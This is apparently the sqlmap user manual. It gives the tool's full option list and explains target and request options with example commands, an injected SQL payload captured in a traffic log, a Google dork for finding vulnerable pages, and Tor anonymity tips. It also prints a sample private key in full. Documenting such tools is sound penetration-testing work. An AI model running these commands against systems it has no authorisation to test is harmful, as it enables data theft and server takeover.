```
Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -d DIRECT           Connection string for direct database connection
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -x SITEMAPURL       Parse target(s) from remote sitemap(.xml) file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST
    --param-del=PARA..  Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header value
    --cookie-del=COO..  Character used for splitting cookie values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP Host header value
    --referer=REFERER   HTTP Referer header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP authentication PEM cert/private key file
    --ignore-code=IG..  Ignore HTTP error code (e.g. 401)
    --ignore-proxy      Ignore system default proxy settings
    --ignore-redirects  Ignore redirection attempts
    --ignore-timeouts   Ignore connection timeouts
    --proxy=PROXY       Use a proxy to connect to the target URL
    --proxy-cred=PRO..  Proxy authentication credentials (name:password)
    --proxy-file=PRO..  Load proxy list from a file
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFEURL  URL address to visit frequently during testing
    --safe-post=SAFE..  POST data to send to a safe URL
    --safe-req=SAFER..  Load safe HTTP request from a file
    --safe-freq=SAFE..  Test requests between two visits to a given safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --csrf-token=CSR..  Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  URL address to visit to extract anti-CSRF token
    --force-ssl         Force usage of SSL/HTTPS
    --hpp               Use HTTP parameter pollution method
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                        "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --skip-static       Skip testing parameters that not appear to be dynamic
    --param-exclude=..  Regexp to exclude parameters from testing (e.g. "ses")
    --dbms=DBMS         Force back-end DBMS to this value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to this value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --invalid-string    Use random strings for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-order=S..  Resulting page URL searched for second-order response

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    --comments          Retrieve DBMS comments
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
    -X EXCLUDECOL       DBMS database table column(s) to not enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  Pivot column name
    --where=DUMPWHERE   Use WHERE condition while table dumping
    --start=LIMITSTART  First dump table entry to retrieve
    --stop=LIMITSTOP    Last dump table entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

  Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters

    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --batch             Never ask for user input, use the default behaviour
    --binary-fields=..  Result fields having binary values (e.g. "digest")
    --check-internet    Check Internet connection before assessing the target
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --crawl-exclude=..  Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  Character encoding used for data retrieval (e.g. GBK)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --har=HARFILE       Log all HTTP traffic into a HAR file
    --hex               Use DBMS hex function(s) for data retrieval
    --output-dir=OUT..  Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --save=SAVECONFIG   Save options to a configuration INI file
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --update            Update sqlmap

  Miscellaneous:
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run host OS command(s) when SQL injection is found
    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")
    --beep              Beep on question and/or when SQL injection is found
    --cleanup           Clean up the DBMS from sqlmap specific UDF and tables
    --dependencies      Check for missing (non-core) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --identify-waf      Make a thorough testing for a WAF/IPS/IDS protection
    --mobile            Imitate smartphone through HTTP User-Agent header
    --offline           Work in offline mode (only use session data)
    --purge-output      Safely remove all content from output directory
    --skip-waf          Skip heuristic detection of WAF/IPS/IDS protection
    --smart             Conduct thorough tests only if positive heuristic(s)
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    Local directory for storing temporary files
    --web-root=WEBROOT  Web server document root directory (e.g. "/var/www")
    --wizard            Simple wizard interface for beginner users
```

**Output verbosity**
Option: –v
This option can be used to set the verbosity level of output messages. There exist **seven** levels of verbosity. The default level is **1** in which information, warning, error, critical messages and Python tracebacks (if any occur) are displayed.

- **0**: Show only Python tracebacks, error and critical messages.
- **1**: Show also information and warning messages.

- **2**: Show also debug messages.
- **3**: Show also payloads injected.
- **4**: Show also HTTP requests.
- **5**: Show also HTTP responses' headers.
- **6**: Show also HTTP responses' page content.

A reasonable level of verbosity to further understand what sqlmap does under the hood is level **2**, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level **3** is your best choice. This level is also recommended to be used when you feed the developers with a potential bug report, make sure you send along with the standard output the traffic log file generated with option `-t`. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level **4** or above. It should be noted that there is also a possibility to set the verbosity by using the shorter version of this option where number of letters `v` inside the provided switch (instead of option) determines the verbosity level (e.g. `-v` instead of `-v 2`, `-vv` instead of `-v 3`, `-vvv` instead of `-v 4`, etc.)

**Target**
At least one of these options has be provided to set the target(s).

**Direct connection to the database**
Option: `-d`
Run sqlmap against a single database instance. This option accepts a connection string in one of following forms:

- `DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME` (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
- `DBMS://DATABASE_FILEPATH` (SQLite, Microsoft Access, Firebird, etc.)

For example:
```
$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\
er --dbs --users
```

**Target URL**
Option: `-u` or `--url`
Run sqlmap against a single target URL. This option requires a target URL in following form:
`http(s)://targeturl[:port]/[...]`
For example:
```
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users
```

**Parse targets from Burp or WebScarab proxy logs**
Option: `-l`
Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied through Burp proxy or WebScarab proxy. This option requires an argument which is the proxy's HTTP requests log file.

**Parse targets from remote sitemap(.xml) file**
Option: `-x`
A sitemap is a file where web admins can list the web page locations of their site to tell search engines about the site content's organization. You can provide a sitemap's location to sqlmap by using option `-x` (e.g. `-x http://www.target.com/sitemap.xml`) so it could find usable target URLs for scanning purposes.

**Scan multiple targets enlisted in a given textual file**
Option: `-m`
Providing list of target URLs enlisted in a given bulk file, sqlmap will scan each of those one by one.
Sample content of a bulk file provided as an argument to this option:
```
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
```

**Load HTTP request from a file**
Option: `-r`
One of the possibilities of sqlmap is loading of raw HTTP request from a textual file. That way you can skip usage of a number of other options (e.g. setting of cookies, POSTed data, etc).
Sample content of a HTTP request file provided as an argument to this option:
```
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1
```
Note that if the request is over HTTPS, you can use this in conjunction with switch `--force-ssl` to force SSL connection to 443/tcp. Alternatively, you can append `:443` to the end of the `Host` header value.

**Process Google dork results as target addresses**
Option: `-g`
It is also possible to test and inject on GET parameters based on results of your Google dork.
This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.
For example:
```
$ python sqlmap.py -g "inurl:\".php?id=1\""
```

**Load options from a configuration INI file**
Option: `-c`
It is possible to pass user's options from a configuration INI file, an example is `sqlmap.conf`.
Note that if you provide other options from command line, those are evaluated when running sqlmap and overwrite those provided in the configuration file.

**Request**
These options can be used to specify how to connect to the target URL.

**HTTP method**
Option: `--method`
sqlmap automatically detects the proper HTTP method to be used in HTTP requests. Nevertheless, in some cases, it is required to force the usage of specific HTTP method (e.g. `PUT`) that is not used by automatism. This is possible with usage of this option (e.g. `--method=PUT`).

**HTTP data**
Option: `--data`
By default the HTTP method used to perform HTTP requests is GET, but you can implicitly change it to POST by providing the data to be sent in the POST requests. Such data, being those parameters, are tested for SQL injection as well as any provided GET parameters.
For example:
```
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users
```

**Parameter splitting character**
Option: `--param-del`
There are cases when default parameter delimiter (e.g. `&` in GET and POST data) needs to be overwritten for sqlmap to be able to properly split and process each parameter separately.
For example:
```
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users
```

**HTTP `Cookie` header**
Options and switch: `--cookie`, `--cookie-del`, `--load-cookies` and `--drop-set-cookie`
These options and switches can be used in two situations:

- The web application requires authentication based upon cookies and you have such data.
- You want to detect and exploit SQL injection on such header values.

Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the following:

- Login to the application with your favourite browser.

- Get the HTTP Cookie from the browser's preferences or from the HTTP proxy screen and copy to the clipboard.
- Go back to your shell and run sqlmap by pasting your clipboard as value of the option `--cookie`.

Note that the HTTP `Cookie` header values are usually separated by a `;` character, **not** by an `&`. sqlmap can recognize these as separate sets of `parameter=value` too, as well as GET and POST parameters. In case that the separation character is other than `;` it can be specified by using option `--cookie-del`.
If at any time during the communication, the web application responds with `Set-Cookie` headers, sqlmap will automatically use its value in all further HTTP requests as the `Cookie` header. sqlmap will also automatically test those values for SQL injection. This can be avoided by providing the switch `--drop-set-cookie` - sqlmap will ignore any coming `Set-Cookie` header.
Vice versa, if you provide a HTTP `Cookie` header with option `--cookie` and the target URL sends an HTTP `Set-Cookie` header at any time, sqlmap will ask you which set of cookies to use for the following HTTP requests.
There is also an option `--load-cookies` which can be used to provide a special file containing Netscape/wget formatted cookies.
Note that also the HTTP `Cookie` header is tested against SQL injection if the `--level` is set to **2** or above. Read below for details.

**HTTP `User-Agent` header**
Option and switch: `--user-agent` and `--random-agent`
By default sqlmap performs HTTP requests with the following `User-Agent` header value:
`sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)`
However, it is possible to fake it with the option `--user-agent` by providing custom User-Agent as the option's argument.
Moreover, by providing the switch `--random-agent`, sqlmap will randomly select a `User-Agent` from the `./txt/user-agents.txt` textual file and use it for all HTTP requests within the session.
Some sites perform a server-side check of HTTP `User-Agent` header value and fail the HTTP response if a valid `User-Agent` is not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

```
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, 
try to 
force the HTTP User-Agent header with option --user-agent or --random-agent
```

Note that also the HTTP `User-Agent` header is tested against SQL injection if the `--level` is set to **3** or above. Read below for details.

**HTTP `Host` header**
Option: `--host`
You can manually set HTTP `Host` header value. By default HTTP `Host` header is parsed from a provided target URL.
Note that also the HTTP `Host` header is tested against SQL injection if the `--level` is set to **5**. Read below for details.

**HTTP `Referer` header**
Option: `--referer`
It is possible to fake the HTTP `Referer` header value. By default **no** HTTP `Referer` header is sent in HTTP requests if not explicitly set.
Note that also the HTTP `Referer` header is tested against SQL injection if the `--level` is set to **3** or above. Read below for details.

**Extra HTTP headers**
Option: `--headers`
It is possible to provide extra HTTP headers by setting the option `--headers`. Each header must be separated by a newline and it is much easier to provide them from the configuration INI file. You can take a look at the sample `sqlmap.conf` file for such case.
Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \
"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]
```

**HTTP protocol authentication**
Options: `--auth-type` and `--auth-cred`
These options can be used to specify which HTTP protocol authentication back-end web server implements and the valid credentials to be used to perform all HTTP requests to the target application.
The three supported HTTP protocol authentication mechanisms are:

- `Basic`
- `Digest`
- `NTLM`

While the credentials' syntax is `username:password`.
Example of valid syntax:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"
```

**HTTP protocol private key authentication**
Option: `--auth-file`
This option should be used in cases when the web server requires proper client-side certificate and a private key for authentication. Supplied value should be a PEM formatted `key_file` that contains your certificate and a private key.
Example of generation of a `key_file.txt` that is compatible with `--auth-file`:

```
$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out
auth_file.pem &&\
cat auth_file.key auth_file.pem > auth_file.txt && cat auth_file.txt
Generating a 2048 bit RSA private key
.........+++
...........+++
writing new private key to 'auth_file.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
```

```
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf
VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG
mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9
9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W
XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL
4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY
mQQyR2ChAgMBAAECggEBAIqvMveC1cOCCksbi7cQeNVYxvtcFT0e/LwkwQS7gat/
anmQTT2APrJyemEFPkQK76KNlMQMsaLEP+p28IOVydjvin5Aq8tTs1uK6Fw8Kfya
elt5X3eCHZ3lgskuljW/nIcsfI08o9cJuxT5hB6yvmPDTQos+nMMYy1KEcv1LQd8
Y+QAmVQqMF5Nyf8Q6op6hWZIIJY5NDbRE0zYzhGcHWg2798Dx1sO0HT6TD8cNP8H
AVp/V21tzpmFpe0A7NajgYEjkij6fg+6mG0j0WZdWymYXDeiTdDpwzs/SPRevBLn
Okp/6vqtdekMeYL591MNBl8GRZpJW9gNLRX7vQ6YYAECgYEAxGV9e85GpLUd/uUb
1MvGajd+HtN/uoWH1ySG34vi3q/dDKBehry2yoDUosxXf9vbH0IrvaXnO8yXGflS
wb2TELLezGWbw6kPaw2XIgL4elO5TPh2rNJwz1wOhv3FT2XSGJbXx/CED3mL7MGs
qwRU/bRrNV7RmzV2veThlLCLjZECgYEAw8jm7vOzQQnqEjs0wlfJmzOyFqilYvEP
8v7HxDv1M7e7M0TqLECET9VlQE5spGuzEWN7/iMtE8xxnz2n/vGnGAV8qv1LJYrA
TWQMTIC6V9/jKM8wNOfT7Eh1rJ1cty87yokXpy/cdmkv7yxb1b2zuBk8/1nlYqA0
5uqb345eWhECgYEAmoXv0TVfR8BpNWA2IZujJXc7+C0YVj0xwAixRbneaq+cEI8t
UH2ypGnw45Y7UhI9ub5qg/DAmsBCMuGER4NM7tqNiex4Pd4Kj4RF4TDNKBIvvWvQ
k/GPaNdZZsTMNcg7IbWtWVbX0QUlHsbTgEsMRAFsSLWt3ZyXLJmlE0REyMECgYEA
oCqEscrwRC7GLK/+01ZZ+fvqnxrMYgrvj0zbRDAAwpR2MtUX9ae6Fk1vDZKa0k/B
KGKIlzlTsTS5ZxpbivdKSR6EBKY+ibHe6/EDFrrgtu7TuRj2SPG2rz//9Hyv0rRz
Z5eLoBxJcR1QN4vEfTE6C0uqWQPD4lFJtfcMGXEwwuECgYAK+4gwPBlrKClrRtDc
7Fnq8RLYeZRbM5WEmTHfRnlYylniMsj2K20H8ln8pdOqCE4iJn0SezIQIaAtcwMP
WQt15kgJgLwM/uBtqDeWRpTEotVMFXQbZImobjpXUhTqu0NWBwbypM/zarfRWPJ4
fJkrlA16caVj3qGaX1lkm06OAA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJALTHPlkIs/+KMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTgwODIyMDc0NTQxWhcNMTkwODIyMDc0NTQxWjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAljNvCdbmtgyDX1S1NvKHicEInS/b00aBiUeaXwVOjIbt9wr+kblRCQHz
FhCmA0m6m6xMstc1IjU3BphHdNuj3qtEj0b7CrFW+ivhB1Rd6/uhMVxxHLT0W4dh
iM4tpAkDJHRw4Pg4ZonkPfR2sZPSERCWU6NrwtaIbzOTP8rm8OIsIDJQ2lvuLPNj
oDnAi43sGzyxWVOYDFfvFlyylLbVGMFe/Xbj2xLxvUtbKDRR4bvzDnDYiiaR9s0n
oHfQ5OfziURl+cRIr+wMi+LIUC6QKp+ZLmXJtivom/+Mf0cNsk9UpYdrUCIvEXMJ
WMsnDq0qr4Vu773apG5W2JkEMkdgoQIDAQABo1AwTjAdBgNVHQ4EFgQUVvHI/2qF
kmRCEWlWB+ZvJzWTnUkwHwYDVR0jBBgwFoAUVvHI/2qFkmRCEWlWB+ZvJzWTnUkw
DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAg5tmkM75/NEEymu0ublj
c2R1/ZxwbKMjg98KxLqGFJbPVRG0qgIy+uc+Gvh6FEgPF22i4L9DROfuDQW3YSJ6
x3JnJxLsU+jjXxtN7hNwoQziQkicKr0y47TjqOKLlBlKTbdnr74nJXSYQhi4qEFE
qgrUG7ScitgLvcf2sDVf9L2SUsH5iRK+HlgYEtSKhUl5SkLapcUUF+GmectUOkm7
m7Z8gelenVUerLojnQL2avKD07hWTTGkgX2PV8hdun0WIvBLWAcJN+6T9sdakJZZ
qJjFQBXjcxwgVe0vB0vJmqa5lj9OymQnBMjp+3zpUtDJNH2M1qySbU6tGEX1wsW/
VA==
-----END CERTIFICATE-----
```

### Ignore HTTP error 401 (Unauthorized)

Switch `--ignore-401`

In case that you want to test the site that occasionally returns HTTP error 401 (Unauthorized), while you want to ignore it and continue tests without providing proper credentials, you can use switch `--ignore-401`

### HTTP(S) proxy

Options and switch: `--proxy`, `--proxy-cred`, `--proxy-file` and `--ignore-proxy`

It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL with option `--proxy`. The syntax of HTTP(S) proxy value is `http://url:port`.

If the HTTP(S) proxy requires authentication, you can provide the credentials in the format `username:password` to the option `--proxy-cred`.

In case that you want to use (disposable) proxy list, skipping to the next proxy on any sign of a connection problem (e.g. blocking of invasive IP address), option `--proxy-file` can be used by providing filename of a file containing bulk list of proxies.

Switch `--ignore-proxy` should be used when you want to run sqlmap against a target part of a local area network by ignoring the system-wide set HTTP(S) proxy server setting.

### Tor anonymity network

Switches and options: `--tor`, `--tor-port`, `--tor-type` and `--check-tor`

If, for any reason, you need to stay anonymous, instead of passing by a single predefined HTTP(S) proxy server, you can configure a Tor client together with Privoxy (or similar) on your machine as explained in Tor installation guides. Then you can use a switch `--tor` and sqlmap will try to automatically set Tor proxy connection settings.

In case that you want to manually set the type and port of used Tor proxy, you can do it with options `--tor-type` and `--tor-port` (e.g. `--tor-type=SOCKS5 --tor-port 9050`).

You are strongly advised to use `--check-tor` occasionally to be sure that everything was set up properly. There are cases when Tor bundles (e.g. Vidalia) come misconfigured (or reset previously set configuration) giving you a false sense of anonymity. Using this switch sqlmap will check that everything works as expected by sending a single request to an official Are you using Tor? page before any target requests. In case that check fails, sqlmap will warn you and abruptly exit.

### Delay between each HTTP request

Option: `--delay`

It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a float, for instance `0.5` means half a second. By default, no delay is set.

### Seconds to wait before timeout connection

Option: `--timeout`

It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default **30 seconds** are set.

### Maximum number of retries when the HTTP connection timeouts

Option: `--retries`

It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to **three times**.

### Randomly change value for given parameter(s)

Option: `--randomize`

It is possible to specify parameter names whose values you want to be randomly changed during each request. Length and type are being kept according to provided original values.

### Filtering targets from provided proxy log using regular expression

Option: `--scope`

